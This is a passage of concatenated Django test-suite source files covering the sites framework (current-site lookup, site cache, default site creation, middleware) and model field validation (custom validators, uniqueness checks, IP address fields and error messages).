            self.assertIsInstance(site, RequestSite)
            self.assertEqual(site.name, "example.com")

    @override_settings(SITE_ID='', ALLOWED_HOSTS=['example.com'])
    def test_get_current_site_no_site_id(self):
        request = HttpRequest()
        request.META = {
            "SERVER_NAME": "example.com",
            "SERVER_PORT": "80",
        }
        del settings.SITE_ID
        site = get_current_site(request)
        self.assertEqual(site.name, "example.com")

    @override_settings(SITE_ID='', ALLOWED_HOSTS=['example.com', 'example.net'])
    def test_get_current_site_no_site_id_and_handle_port_fallback(self):
        request = HttpRequest()
        s1 = self.site
        s2 = Site.objects.create(domain='example.com:80', name='example.com:80')

        # Host header without port
        request.META = {'HTTP_HOST': 'example.com'}
        site = get_current_site(request)
        self.assertEqual(site, s1)

        # Host header with port - match, no fallback without port
        request.META = {'HTTP_HOST': 'example.com:80'}
        site = get_current_site(request)
        self.assertEqual(site, s2)

        # Host header with port - no match, fallback without port
        request.META = {'HTTP_HOST': 'example.com:81'}
        site = get_current_site(request)
        self.assertEqual(site, s1)

        # Host header with non-matching domain
        request.META = {'HTTP_HOST': 'example.net'}
        with self.assertRaises(ObjectDoesNotExist):
            get_current_site(request)

        # Ensure domain for RequestSite always matches host header
        with self.modify_settings(INSTALLED_APPS={'remove': 'django.contrib.sites'}):
            request.META = {'HTTP_HOST': 'example.com'}
            site = get_current_site(request)
            self.assertEqual(site.name, 'example.com')

            request.META = {'HTTP_HOST': 'example.com:80'}
            site = get_current_site(request)
            self.assertEqual(site.name, 'example.com:80')

    def test_domain_name_with_whitespaces(self):
        # Regression for #17320
        # Domain names are not allowed contain whitespace characters
        site = Site(name="test name", domain="test test")
        with self.assertRaises(ValidationError):
            site.full_clean()
        site.domain = "test\ttest"
        with self.assertRaises(ValidationError):
            site.full_clean()
        site.domain = "test\ntest"
        with self.assertRaises(ValidationError):
            site.full_clean()

    @override_settings(ALLOWED_HOSTS=['example.com'])
    def test_clear_site_cache(self):
        request = HttpRequest()
        request.META = {
            "SERVER_NAME": "example.com",
            "SERVER_PORT": "80",
        }
        self.assertEqual(models.SITE_CACHE, {})
        get_current_site(request)
        expected_cache = {self.site.id: self.site}
        self.assertEqual(models.SITE_CACHE, expected_cache)

        with self.settings(SITE_ID=''):
            get_current_site(request)

        expected_cache.update({self.site.domain: self.site})
        self.assertEqual(models.SITE_CACHE, expected_cache)

        clear_site_cache(Site, instance=self.site, using='default')
        self.assertEqual(models.SITE_CACHE, {})

    @override_settings(SITE_ID='', ALLOWED_HOSTS=['example2.com'])
    def test_clear_site_cache_domain(self):
        site = Site.objects.create(name='example2.com', domain='example2.com')
        request = HttpRequest()
        request.META = {
            "SERVER_NAME": "example2.com",
            "SERVER_PORT": "80",
        }
        get_current_site(request)  # prime the models.SITE_CACHE
        expected_cache = {site.domain: site}
        self.assertEqual(models.SITE_CACHE, expected_cache)

        # Site exists in 'default' database so using='other' shouldn't clear.
        clear_site_cache(Site, instance=site, using='other')
        self.assertEqual(models.SITE_CACHE, expected_cache)
        # using='default' should clear.
        clear_site_cache(Site, instance=site, using='default')
        self.assertEqual(models.SITE_CACHE, {})

    def test_unique_domain(self):
        site = Site(domain=self.site.domain)
        msg = 'Site with this Domain name already exists.'
        with self.assertRaisesMessage(ValidationError, msg):
            site.validate_unique()

    def test_site_natural_key(self):
        self.assertEqual(Site.objects.get_by_natural_key(self.site.domain), self.site)
        self.assertEqual(self.site.natural_key(), (self.site.domain,))

    @override_settings(ALLOWED_HOSTS=['example.com'])
    def test_requestsite_save_notimplemented_msg(self):
        # Test response msg for RequestSite.save NotImplementedError
        request = HttpRequest()
        request.META = {
            "HTTP_HOST": "example.com",
        }
        msg = 'RequestSite cannot be saved.'
        with self.assertRaisesMessage(NotImplementedError, msg):
            RequestSite(request).save()

    @override_settings(ALLOWED_HOSTS=['example.com'])
    def test_requestsite_delete_notimplemented_msg(self):
        # Test response msg for RequestSite.delete NotImplementedError
        request = HttpRequest()
        request.META = {
            "HTTP_HOST": "example.com",
        }
        msg = 'RequestSite cannot be deleted.'
        with self.assertRaisesMessage(NotImplementedError, msg):
            RequestSite(request).delete()


class JustOtherRouter(object):
    def allow_migrate(self, db, app_label, **hints):
        return db == 'other'


@modify_settings(INSTALLED_APPS={'append': 'django.contrib.sites'})
class CreateDefaultSiteTests(TestCase):
    multi_db = True

    def setUp(self):
        self.app_config = apps.get_app_config('sites')
        # Delete the site created as part of the default migration process.
        Site.objects.all().delete()

    def test_basic(self):
        """
        #15346, #15573 - create_default_site() creates an example site only if
        none exist.
        """
        with captured_stdout() as stdout:
            create_default_site(self.app_config)
        self.assertEqual(Site.objects.count(), 1)
        self.assertIn("Creating example.com", stdout.getvalue())

        with captured_stdout() as stdout:
            create_default_site(self.app_config)
        self.assertEqual(Site.objects.count(), 1)
        self.assertEqual("", stdout.getvalue())

    @override_settings(DATABASE_ROUTERS=[JustOtherRouter()])
    def test_multi_db_with_router(self):
        """
        #16353, #16828 - The default site creation should respect db routing.
        """
        create_default_site(self.app_config, using='default', verbosity=0)
        create_default_site(self.app_config, using='other', verbosity=0)
        self.assertFalse(Site.objects.using('default').exists())
        self.assertTrue(Site.objects.using('other').exists())

    def test_multi_db(self):
        create_default_site(self.app_config, using='default', verbosity=0)
        create_default_site(self.app_config, using='other', verbosity=0)
        self.assertTrue(Site.objects.using('default').exists())
        self.assertTrue(Site.objects.using('other').exists())

    def test_save_another(self):
        """
        #17415 - Another site can be created right after the default one.

        On some backends the sequence needs to be reset after saving with an
        explicit ID. Test that there isn't a sequence collisions by saving
        another site. This test is only meaningful with databases that use
        sequences for automatic primary keys such as PostgreSQL and Oracle.
        """
        create_default_site(self.app_config, verbosity=0)
        Site(domain='example2.com', name='example2.com').save()

    def test_signal(self):
        """
        #23641 - Sending the ``post_migrate`` signal triggers creation of the
        default site.
        """
        post_migrate.send(sender=self.app_config, app_config=self.app_config, verbosity=0)
        self.assertTrue(Site.objects.exists())

    @override_settings(SITE_ID=35696)
    def test_custom_site_id(self):
        """
        #23945 - The configured ``SITE_ID`` should be respected.
        """
        create_default_site(self.app_config, verbosity=0)
        self.assertEqual(Site.objects.get().pk, 35696)

    @override_settings()  # Restore original ``SITE_ID`` afterwards.
    def test_no_site_id(self):
        """
        #24488 - The pk should default to 1 if no ``SITE_ID`` is configured.
        """
        del settings.SITE_ID
        create_default_site(self.app_config, verbosity=0)
        self.assertEqual(Site.objects.get().pk, 1)

    def test_unavailable_site_model(self):
        """
        #24075 - A Site shouldn't be created if the model isn't available.
        """
        apps = Apps()
        create_default_site(self.app_config, verbosity=0, apps=apps)
        self.assertFalse(Site.objects.exists())


class MiddlewareTest(TestCase):

    def test_old_style_request(self):
        """ Makes sure that the request has correct `site` attribute. """
        middleware = CurrentSiteMiddleware()
        request = HttpRequest()
        middleware.process_request(request)
        self.assertEqual(request.site.id, settings.SITE_ID)

    def test_request(self):
        def get_response(request):
            return HttpResponse(str(request.site.id))
        response = CurrentSiteMiddleware(get_response)(HttpRequest())
        self.assertContains(response, settings.SITE_ID)






from __future__ import unicode_literals

from datetime import datetime

from django.core.exceptions import ValidationError
from django.db import models
from django.utils.encoding import python_2_unicode_compatible


def validate_answer_to_universe(value):
    if value != 42:
        raise ValidationError('This is not the answer to life, universe and everything!', code='not42')


class ModelToValidate(models.Model):
    name = models.CharField(max_length=100)
    created = models.DateTimeField(default=datetime.now)
    number = models.IntegerField(db_column='number_val')
    parent = models.ForeignKey(
        'self',
        models.SET_NULL,
        blank=True, null=True,
        limit_choices_to={'number': 10},
    )
    email = models.EmailField(blank=True)
    ufm = models.ForeignKey(
        'UniqueFieldsModel',
        models.SET_NULL,
        to_field='unique_charfield',
        blank=True, null=True,
    )
    url = models.URLField(blank=True)
    f_with_custom_validator = models.IntegerField(blank=True, null=True, validators=[validate_answer_to_universe])
    f_with_iterable_of_validators = models.IntegerField(blank=True, null=True,
                                                        validators=(validate_answer_to_universe,))
    slug = models.SlugField(blank=True)

    def clean(self):
        super(ModelToValidate, self).clean()
        if self.number == 11:
            raise ValidationError('Invalid number supplied!')


class UniqueFieldsModel(models.Model):
    unique_charfield = models.CharField(max_length=100, unique=True)
    unique_integerfield = models.IntegerField(unique=True)
    non_unique_field = models.IntegerField()


class CustomPKModel(models.Model):
    my_pk_field = models.CharField(max_length=100, primary_key=True)


class UniqueTogetherModel(models.Model):
    cfield = models.CharField(max_length=100)
    ifield = models.IntegerField()
    efield = models.EmailField()

    class Meta:
        unique_together = (('ifield', 'cfield',), ['ifield', 'efield'])


class UniqueForDateModel(models.Model):
    start_date = models.DateField()
    end_date = models.DateTimeField()
    count = models.IntegerField(unique_for_date="start_date", unique_for_year="end_date")
    order = models.IntegerField(unique_for_month="end_date")
    name = models.CharField(max_length=100)


class CustomMessagesModel(models.Model):
    other = models.IntegerField(blank=True, null=True)
    number = models.IntegerField(
        db_column='number_val',
        error_messages={'null': 'NULL', 'not42': 'AAARGH', 'not_equal': '%s != me'},
        validators=[validate_answer_to_universe]
    )


class Author(models.Model):
    name = models.CharField(max_length=100)


class Article(models.Model):
    title = models.CharField(max_length=100)
    author = models.ForeignKey(Author, models.CASCADE)
    pub_date = models.DateTimeField(blank=True)

    def clean(self):
        if self.pub_date is None:
            self.pub_date = datetime.now()


@python_2_unicode_compatible
class Post(models.Model):
    title = models.CharField(max_length=50, unique_for_date='posted', blank=True)
    slug = models.CharField(max_length=50, unique_for_year='posted', blank=True)
    subtitle = models.CharField(max_length=50, unique_for_month='posted', blank=True)
    posted = models.DateField()

    def __str__(self):
        return self.name


class FlexibleDatePost(models.Model):
    title = models.CharField(max_length=50, unique_for_date='posted', blank=True)
    slug = models.CharField(max_length=50, unique_for_year='posted', blank=True)
    subtitle = models.CharField(max_length=50, unique_for_month='posted', blank=True)
    posted = models.DateField(blank=True, null=True)


class UniqueErrorsModel(models.Model):
    name = models.CharField(max_length=100, unique=True, error_messages={'unique': 'Custom unique name message.'})
    no = models.IntegerField(unique=True, error_messages={'unique': 'Custom unique number message.'})


class GenericIPAddressTestModel(models.Model):
    generic_ip = models.GenericIPAddressField(blank=True, null=True, unique=True)
    v4_ip = models.GenericIPAddressField(blank=True, null=True, protocol="ipv4")
    v6_ip = models.GenericIPAddressField(blank=True, null=True, protocol="ipv6")
    ip_verbose_name = models.GenericIPAddressField("IP Address Verbose", blank=True, null=True)


class GenericIPAddrUnpackUniqueTest(models.Model):
    generic_v4unpack_ip = models.GenericIPAddressField(null=True, blank=True, unique=True, unpack_ipv4=True)


# A model can't have multiple AutoFields
# Refs #12467.
assertion_error = None
try:
    class MultipleAutoFields(models.Model):
        auto1 = models.AutoField(primary_key=True)
        auto2 = models.AutoField(primary_key=True)
except AssertionError as exc:
    assertion_error = exc
assert str(assertion_error) == "A model can't have more than one AutoField."






from . import ValidationTestCase
from .models import CustomMessagesModel


class CustomMessagesTest(ValidationTestCase):
    def test_custom_simple_validator_message(self):
        cmm = CustomMessagesModel(number=12)
        self.assertFieldFailsValidationWithMessage(cmm.full_clean, 'number', ['AAARGH'])

    def test_custom_null_message(self):
        cmm = CustomMessagesModel()
        self.assertFieldFailsValidationWithMessage(cmm.full_clean, 'number', ['NULL'])






import pickle
from unittest import TestCase

from django.core.exceptions import ValidationError


class PickableValidationErrorTestCase(TestCase):

    def test_validationerror_is_picklable(self):
        original = ValidationError('a', code='something')
        unpickled = pickle.loads(pickle.dumps(original))
        self.assertIs(unpickled, unpickled.error_list[0])
        self.assertEqual(original.message, unpickled.message)
        self.assertEqual(original.code, unpickled.code)

        original = ValidationError('a', code='something')
        unpickled = pickle.loads(pickle.dumps(ValidationError(original)))
        self.assertIs(unpickled, unpickled.error_list[0])
        self.assertEqual(original.message, unpickled.message)
        self.assertEqual(original.code, unpickled.code)

        original = ValidationError(['a', 'b'])
        unpickled = pickle.loads(pickle.dumps(original))
        self.assertEqual(original.error_list[0].message, unpickled.error_list[0].message)
        self.assertEqual(original.error_list[1].message, unpickled.error_list[1].message)

        original = ValidationError(['a', 'b'])
        unpickled = pickle.loads(pickle.dumps(ValidationError(original)))
        self.assertEqual(original.error_list[0].message, unpickled.error_list[0].message)
        self.assertEqual(original.error_list[1].message, unpickled.error_list[1].message)

        original = ValidationError([ValidationError('a'), ValidationError('b')])
        unpickled = pickle.loads(pickle.dumps(original))
        self.assertIs(unpickled.args[0][0], unpickled.error_list[0])
        self.assertEqual(original.error_list[0].message, unpickled.error_list[0].message)
        self.assertEqual(original.error_list[1].message, unpickled.error_list[1].message)

        message_dict = {'field1': ['a', 'b'], 'field2': ['c', 'd']}
        original = ValidationError(message_dict)
        unpickled = pickle.loads(pickle.dumps(original))
        self.assertEqual(unpickled.message_dict, message_dict)






from __future__ import unicode_literals

import datetime
import unittest

from django.apps.registry import Apps
from django.core.exceptions import ValidationError
from django.db import models
from django.test import TestCase

from .models import (
    CustomPKModel, FlexibleDatePost, ModelToValidate, Post, UniqueErrorsModel,
    UniqueFieldsModel, UniqueForDateModel, UniqueTogetherModel,
)


class GetUniqueCheckTests(unittest.TestCase):
    def test_unique_fields_get_collected(self):
        m = UniqueFieldsModel()
        self.assertEqual(
            ([(UniqueFieldsModel, ('id',)),
              (UniqueFieldsModel, ('unique_charfield',)),
              (UniqueFieldsModel, ('unique_integerfield',))],
             []),
            m._get_unique_checks()
        )

    def test_unique_together_gets_picked_up_and_converted_to_tuple(self):
        m = UniqueTogetherModel()
        self.assertEqual(
            ([(UniqueTogetherModel, ('ifield', 'cfield')),
              (UniqueTogetherModel, ('ifield', 'efield')),
              (UniqueTogetherModel, ('id',)), ],
             []),
            m._get_unique_checks()
        )

    def test_unique_together_normalization(self):
        """
        Test the Meta.unique_together normalization with different sorts of
        objects.
        """
        data = {
            '2-tuple': (('foo', 'bar'), (('foo', 'bar'),)),
            'list': (['foo', 'bar'], (('foo', 'bar'),)),
            'already normalized': ((('foo', 'bar'), ('bar', 'baz')),
                                   (('foo', 'bar'), ('bar', 'baz'))),
            'set': ({('foo', 'bar'), ('bar', 'baz')},  # Ref #21469
                    (('foo', 'bar'), ('bar', 'baz'))),
        }

        for test_name, (unique_together, normalized) in data.items():
            class M(models.Model):
                foo = models.IntegerField()
                bar = models.IntegerField()
                baz = models.IntegerField()

                Meta = type(str('Meta'), (), {
                    'unique_together': unique_together,
                    'apps': Apps()
                })

            checks, _ = M()._get_unique_checks()
            for t in normalized:
                check = (M, t)
                self.assertIn(check, checks)

    def test_primary_key_is_considered_unique(self):
        m = CustomPKModel()
        self.assertEqual(([(CustomPKModel, ('my_pk_field',))], []), m._get_unique_checks())

    def test_unique_for_date_gets_picked_up(self):
        m = UniqueForDateModel()
        self.assertEqual((
            [(UniqueForDateModel, ('id',))],
            [(UniqueForDateModel, 'date', 'count', 'start_date'),
             (UniqueForDateModel, 'year', 'count', 'end_date'),
             (UniqueForDateModel, 'month', 'order', 'end_date')]
        ), m._get_unique_checks()
        )

    def test_unique_for_date_exclusion(self):
        m = UniqueForDateModel()
        self.assertEqual((
            [(UniqueForDateModel, ('id',))],
            [(UniqueForDateModel, 'year', 'count', 'end_date'),
             (UniqueForDateModel, 'month', 'order', 'end_date')]
        ), m._get_unique_checks(exclude='start_date')
        )


class PerformUniqueChecksTest(TestCase):
    def test_primary_key_unique_check_not_performed_when_adding_and_pk_not_specified(self):
        # Regression test for #12560
        with self.assertNumQueries(0):
            mtv = ModelToValidate(number=10, name='Some Name')
            setattr(mtv, '_adding', True)
            mtv.full_clean()

    def test_primary_key_unique_check_performed_when_adding_and_pk_specified(self):
        # Regression test for #12560
        with self.assertNumQueries(1):
            mtv = ModelToValidate(number=10, name='Some Name', id=123)
            setattr(mtv, '_adding', True)
            mtv.full_clean()

    def test_primary_key_unique_check_not_performed_when_not_adding(self):
        # Regression test for #12132
        with self.assertNumQueries(0):
            mtv = ModelToValidate(number=10, name='Some Name')
            mtv.full_clean()

    def test_unique_for_date(self):
        Post.objects.create(
            title="Django 1.0 is released", slug="Django 1.0",
            subtitle="Finally", posted=datetime.date(2008, 9, 3),
        )
        p = Post(title="Django 1.0 is released", posted=datetime.date(2008, 9, 3))
        with self.assertRaises(ValidationError) as cm:
            p.full_clean()
        self.assertEqual(cm.exception.message_dict, {'title': ['Title must be unique for Posted date.']})

        # Should work without errors
        p = Post(title="Work on Django 1.1 begins", posted=datetime.date(2008, 9, 3))
        p.full_clean()

        # Should work without errors
        p = Post(title="Django 1.0 is released", posted=datetime.datetime(2008, 9, 4))
        p.full_clean()

        p = Post(slug="Django 1.0", posted=datetime.datetime(2008, 1, 1))
        with self.assertRaises(ValidationError) as cm:
            p.full_clean()
        self.assertEqual(cm.exception.message_dict, {'slug': ['Slug must be unique for Posted year.']})

        p = Post(subtitle="Finally", posted=datetime.datetime(2008, 9, 30))
        with self.assertRaises(ValidationError) as cm:
            p.full_clean()
        self.assertEqual(cm.exception.message_dict, {'subtitle': ['Subtitle must be unique for Posted month.']})

        p = Post(title="Django 1.0 is released")
        with self.assertRaises(ValidationError) as cm:
            p.full_clean()
        self.assertEqual(cm.exception.message_dict, {'posted': ['This field cannot be null.']})

    def test_unique_for_date_with_nullable_date(self):
        """
        unique_for_date/year/month checks shouldn't trigger when the
        associated DateField is None.
        """
        FlexibleDatePost.objects.create(
            title="Django 1.0 is released", slug="Django 1.0",
            subtitle="Finally", posted=datetime.date(2008, 9, 3),
        )
        p = FlexibleDatePost(title="Django 1.0 is released")
        p.full_clean()

        p = FlexibleDatePost(slug="Django 1.0")
        p.full_clean()

        p = FlexibleDatePost(subtitle="Finally")
        p.full_clean()

    def test_unique_errors(self):
        UniqueErrorsModel.objects.create(name='Some Name', no=10)
        m = UniqueErrorsModel(name='Some Name', no=11)
        with self.assertRaises(ValidationError) as cm:
            m.full_clean()
        self.assertEqual(cm.exception.message_dict, {'name': ['Custom unique name message.']})

        m = UniqueErrorsModel(name='Some Other Name', no=10)
        with self.assertRaises(ValidationError) as cm:
            m.full_clean()
        self.assertEqual(cm.exception.message_dict, {'no': ['Custom unique number message.']})






from __future__ import unicode_literals

from . import ValidationTestCase
from .models import ModelToValidate


class TestModelsWithValidators(ValidationTestCase):
    def test_custom_validator_passes_for_correct_value(self):
        mtv = ModelToValidate(number=10, name='Some Name', f_with_custom_validator=42,
                              f_with_iterable_of_validators=42)
        self.assertIsNone(mtv.full_clean())

    def test_custom_validator_raises_error_for_incorrect_value(self):
        mtv = ModelToValidate(number=10, name='Some Name', f_with_custom_validator=12,
                              f_with_iterable_of_validators=42)
        self.assertFailsValidation(mtv.full_clean, ['f_with_custom_validator'])
        self.assertFieldFailsValidationWithMessage(
            mtv.full_clean,
            'f_with_custom_validator',
            ['This is not the answer to life, universe and everything!']
        )

    def test_field_validators_can_be_any_iterable(self):
        mtv = ModelToValidate(number=10, name='Some Name', f_with_custom_validator=42,
                              f_with_iterable_of_validators=12)
        self.assertFailsValidation(mtv.full_clean, ['f_with_iterable_of_validators'])
        self.assertFieldFailsValidationWithMessage(
            mtv.full_clean,
            'f_with_iterable_of_validators',
            ['This is not the answer to life, universe and everything!']
        )






from django.core.exceptions import ValidationError
from django.test import TestCase


class ValidationTestCase(TestCase):
    def assertFailsValidation(self, clean, failed_fields, **kwargs):
        with self.assertRaises(ValidationError) as cm:
            clean(**kwargs)
        self.assertEqual(sorted(failed_fields), sorted(cm.exception.message_dict))

    def assertFieldFailsValidationWithMessage(self, clean, field_name, message):
        with self.assertRaises(ValidationError) as cm:
            clean()
        self.assertIn(field_name, cm.exception.message_dict)
        self.assertEqual(message, cm.exception.message_dict[field_name])






from __future__ import unicode_literals

from django import forms
from django.core.exceptions import NON_FIELD_ERRORS
from django.test import TestCase
from django.utils.functional import lazy

from . import ValidationTestCase
from .models import (
    Article, Author, GenericIPAddressTestModel, GenericIPAddrUnpackUniqueTest,
    ModelToValidate,
)


class BaseModelValidationTests(ValidationTestCase):

    def test_missing_required_field_raises_error(self):
        mtv = ModelToValidate(f_with_custom_validator=42)
        self.assertFailsValidation(mtv.full_clean, ['name', 'number'])

    def test_with_correct_value_model_validates(self):
        mtv = ModelToValidate(number=10, name='Some Name')
        self.assertIsNone(mtv.full_clean())

    def test_custom_validate_method(self):
        mtv = ModelToValidate(number=11)
        self.assertFailsValidation(mtv.full_clean, [NON_FIELD_ERRORS, 'name'])

    def test_wrong_FK_value_raises_error(self):
        mtv = ModelToValidate(number=10, name='Some Name', parent_id=3)
        self.assertFieldFailsValidationWithMessage(
            mtv.full_clean, 'parent',
            ['model to validate instance with id %r does not exist.' % mtv.parent_id]
        )
        mtv = ModelToValidate(number=10, name='Some Name', ufm_id='Some Name')
        self.assertFieldFailsValidationWithMessage(
            mtv.full_clean, 'ufm',
            ["unique fields model instance with unique_charfield %r does not exist." % mtv.name]
        )

    def test_correct_FK_value_validates(self):
        parent = ModelToValidate.objects.create(number=10, name='Some Name')
        mtv = ModelToValidate(number=10, name='Some Name', parent_id=parent.pk)
        self.assertIsNone(mtv.full_clean())

    def test_limited_FK_raises_error(self):
        # The limit_choices_to on the parent field says that a parent object's
        # number attribute must be 10, so this should fail validation.
        parent = ModelToValidate.objects.create(number=11, name='Other Name')
        mtv = ModelToValidate(number=10, name='Some Name', parent_id=parent.pk)
        self.assertFailsValidation(mtv.full_clean, ['parent'])

    def test_wrong_email_value_raises_error(self):
        mtv = ModelToValidate(number=10, name='Some Name', email='not-an-email')
        self.assertFailsValidation(mtv.full_clean, ['email'])

    def test_correct_email_value_passes(self):
        mtv = ModelToValidate(number=10, name='Some Name', email='valid@email.com')
        self.assertIsNone(mtv.full_clean())

    def test_wrong_url_value_raises_error(self):
        mtv = ModelToValidate(number=10, name='Some Name', url='not a url')
        self.assertFieldFailsValidationWithMessage(mtv.full_clean, 'url', ['Enter a valid URL.'])

    def test_text_greater_that_charfields_max_length_raises_errors(self):
        mtv = ModelToValidate(number=10, name='Some Name' * 100)
        self.assertFailsValidation(mtv.full_clean, ['name'])

    def test_malformed_slug_raises_error(self):
        mtv = ModelToValidate(number=10, name='Some Name', slug='##invalid##')
        self.assertFailsValidation(mtv.full_clean, ['slug'])

    def test_full_clean_does_not_mutate_exclude(self):
        mtv = ModelToValidate(f_with_custom_validator=42)
        exclude = ['number']
        self.assertFailsValidation(mtv.full_clean, ['name'], exclude=exclude)
        self.assertEqual(len(exclude), 1)
        self.assertEqual(exclude[0], 'number')


class ArticleForm(forms.ModelForm):
    class Meta:
        model = Article
        exclude = ['author']


class ModelFormsTests(TestCase):
    def setUp(self):
        self.author = Author.objects.create(name='Joseph Kocherhans')

    def test_partial_validation(self):
        # Make sure the "commit=False and set field values later" idiom still
        # works with model validation.
        data = {
            'title': 'The state of model validation',
            'pub_date': '2010-1-10 14:49:00'
        }
        form = ArticleForm(data)
        self.assertEqual(list(form.errors), [])
        article = form.save(commit=False)
        article.author = self.author
        article.save()

    def test_validation_with_empty_blank_field(self):
        # Since a value for pub_date wasn't provided and the field is
        # blank=True, model-validation should pass.
        # Also, Article.clean() should be run, so pub_date will be filled after
        # validation, so the form should save cleanly even though pub_date is
        # not allowed to be null.
        data = {
            'title': 'The state of model validation',
        }
        article = Article(author_id=self.author.id)
        form = ArticleForm(data, instance=article)
        self.assertEqual(list(form.errors), [])
        self.assertIsNotNone(form.instance.pub_date)
        article = form.save()

    def test_validation_with_invalid_blank_field(self):
        # Even though pub_date is set to blank=True, an invalid value was
        # provided, so it should fail validation.
        data = {
            'title': 'The state of model validation',
            'pub_date': 'never'
        }
        article = Article(author_id=self.author.id)
        form = ArticleForm(data, instance=article)
        self.assertEqual(list(form.errors), ['pub_date'])


class GenericIPAddressFieldTests(ValidationTestCase):

    def test_correct_generic_ip_passes(self):
        giptm = GenericIPAddressTestModel(generic_ip="1.2.3.4")
        self.assertIsNone(giptm.full_clean())
        giptm = GenericIPAddressTestModel(generic_ip=" 1.2.3.4 ")
        self.assertIsNone(giptm.full_clean())
        giptm = GenericIPAddressTestModel(generic_ip="1.2.3.4\n")
        self.assertIsNone(giptm.full_clean())
        giptm = GenericIPAddressTestModel(generic_ip="2001::2")
        self.assertIsNone(giptm.full_clean())

    def test_invalid_generic_ip_raises_error(self):
        giptm = GenericIPAddressTestModel(generic_ip="294.4.2.1")
        self.assertFailsValidation(giptm.full_clean, ['generic_ip'])
        giptm = GenericIPAddressTestModel(generic_ip="1:2")
        self.assertFailsValidation(giptm.full_clean, ['generic_ip'])
        giptm = GenericIPAddressTestModel(generic_ip=1)
        self.assertFailsValidation(giptm.full_clean, ['generic_ip'])
        giptm = GenericIPAddressTestModel(generic_ip=lazy(lambda: 1, int))
        self.assertFailsValidation(giptm.full_clean, ['generic_ip'])

    def test_correct_v4_ip_passes(self):
        giptm = GenericIPAddressTestModel(v4_ip="1.2.3.4")
        self.assertIsNone(giptm.full_clean())

    def test_invalid_v4_ip_raises_error(self):
        giptm = GenericIPAddressTestModel(v4_ip="294.4.2.1")
        self.assertFailsValidation(giptm.full_clean, ['v4_ip'])
        giptm = GenericIPAddressTestModel(v4_ip="2001::2")
        self.assertFailsValidation(giptm.full_clean, ['v4_ip'])

    def test_correct_v6_ip_passes(self):
        giptm = GenericIPAddressTestModel(v6_ip="2001::2")
        self.assertIsNone(giptm.full_clean())

    def test_invalid_v6_ip_raises_error(self):
        giptm = GenericIPAddressTestModel(v6_ip="1.2.3.4")
        self.assertFailsValidation(giptm.full_clean, ['v6_ip'])
        giptm = GenericIPAddressTestModel(v6_ip="1:2")
        self.assertFailsValidation(giptm.full_clean, ['v6_ip'])

    def test_v6_uniqueness_detection(self):
        # These two addresses are the same with different syntax
        giptm = GenericIPAddressTestModel(generic_ip="2001::1:0:0:0:0:2")
        giptm.save()
        giptm = GenericIPAddressTestModel(generic_ip="2001:0:1:2")
        self.assertFailsValidation(giptm.full_clean, ['generic_ip'])

    def test_v4_unpack_uniqueness_detection(self):
        # These two are different, because we are not doing IPv4 unpacking
        giptm = GenericIPAddressTestModel(generic_ip="::ffff:10.10.10.10")
        giptm.save()
        giptm = GenericIPAddressTestModel(generic_ip="10.10.10.10")
        self.assertIsNone(giptm.full_clean())

        # These two are the same, because we are doing IPv4 unpacking
        giptm = GenericIPAddrUnpackUniqueTest(generic_v4unpack_ip="::ffff:18.52.18.52")
        giptm.save()
        giptm = GenericIPAddrUnpackUniqueTest(generic_v4unpack_ip="18.52.18.52")
        self.assertFailsValidation(giptm.full_clean, ['generic_v4unpack_ip'])

    def test_empty_generic_ip_passes(self):
        giptm = GenericIPAddressTestModel(generic_ip="")
        self.assertIsNone(giptm.full_clean())
        giptm = GenericIPAddressTestModel(generic_ip=None)
        self.assertIsNone(giptm.full_clean())






# -*- encoding: utf-8 -*-
from __future__ import unicode_literals

from unittest import TestCase

from django.core.exceptions import ValidationError
from django.db import models


class ValidationMessagesTest(TestCase):

    def _test_validation_messages(self, field, value, expected):
        with self.assertRaises(ValidationError) as cm:
            field.clean(value, None)
        self.assertEqual(cm.exception.messages, expected)

    def test_autofield_field_raises_error_message(self):
        f = models.AutoField(primary_key=True)
        self._test_validation_messages(f, 'fõo', ["'fõo' value must be an integer."])

    def test_integer_field_raises_error_message(self):
        f = models.IntegerField()
        self._test_validation_messages(f, 'fõo', ["'fõo' value must be an integer."])

    def test_boolean_field_raises_error_message(self):
        f = models.BooleanField()
        self._test_validation_messages(f, 'fõo', ["'fõo' value must be either True or False."])

    def test_float_field_raises_error_message(self):
        f = models.FloatField()
        self._test_validation_messages(f, 'fõo', ["'fõo' value must be a float."])

    def test_decimal_field_raises_error_message(self):
        f = models.DecimalField()
        self._test_validation_messages(f, 'fõo', ["'fõo' value must be a decimal number."])

    def test_null_boolean_field_raises_error_message(self):
        f = models.NullBooleanField()
        self._test_validation_messages(f, 'fõo', ["'fõo' value must be either None, True or False."])

    def test_date_field_raises_error_message(self):
        f = models.DateField()
        self._test_validation_messages(
            f, 'fõo',
            ["'fõo' value has an invalid date format. It must be in YYYY-MM-DD format."]
        )
        self._test_validation_messages(
            f, 'aaaa-10-10',
            ["'aaaa-10-10' value has an invalid date format. It must be in YYYY-MM-DD format."]
        )
        self._test_validation_messages(
            f, '2011-13-10',
            ["'2011-13-10' value has the correct format (YYYY-MM-DD) but it is an invalid date."]
        )
        self._test_validation_messages(
            f, '2011-10-32',
            ["'2011-10-32' value has the correct format (YYYY-MM-DD) but it is an invalid date."]
        )

    def test_datetime_field_raises_error_message(self):
        f = models.DateTimeField()
        # Wrong format
        self._test_validation_messages(
            f, 'fõo',
            ["'fõo' value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[.uuuuuu]][TZ] format."]
        )
        # Correct format but invalid date
        self._test_validation_messages(
            f, '2011-10-32',
            ["'2011-10-32' value has the correct format (YYYY-MM-DD) but it is an invalid date."]
        )
        # Correct format but invalid date/time
        self._test_validation_messages(
            f, '2011-10-32 10:10',
            ["'2011-10-32 10:10' value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]][TZ]) "
             "but it is an invalid date/time."]
        )

    def test_time_field_raises_error_message(self):
        f = models.TimeField()
        # Wrong format
        self._test_validation_messages(
            f, 'fõo',
            ["'fõo' value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] format."]
        )
        # Correct format but invalid time
        self._test_validation_messages(
            f, '25:50',
            ["'25:50' value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an invalid time."]
        )






from django.db import models


class PersonWithDefaultMaxLengths(models.Model):
    email = models.EmailField()
    vcard = models.FileField(upload_to='/tmp')
    homepage = models.URLField()
    avatar = models.FilePathField()


class PersonWithCustomMaxLengths(models.Model):
    email = models.EmailField(max_length=250)
    vcard = models.FileField(upload_to='/tmp', max_length=250)
    homepage = models.URLField(max_length=250)
    avatar = models.FilePathField(max_length=250)












from __future__ import unicode_literals

import unittest

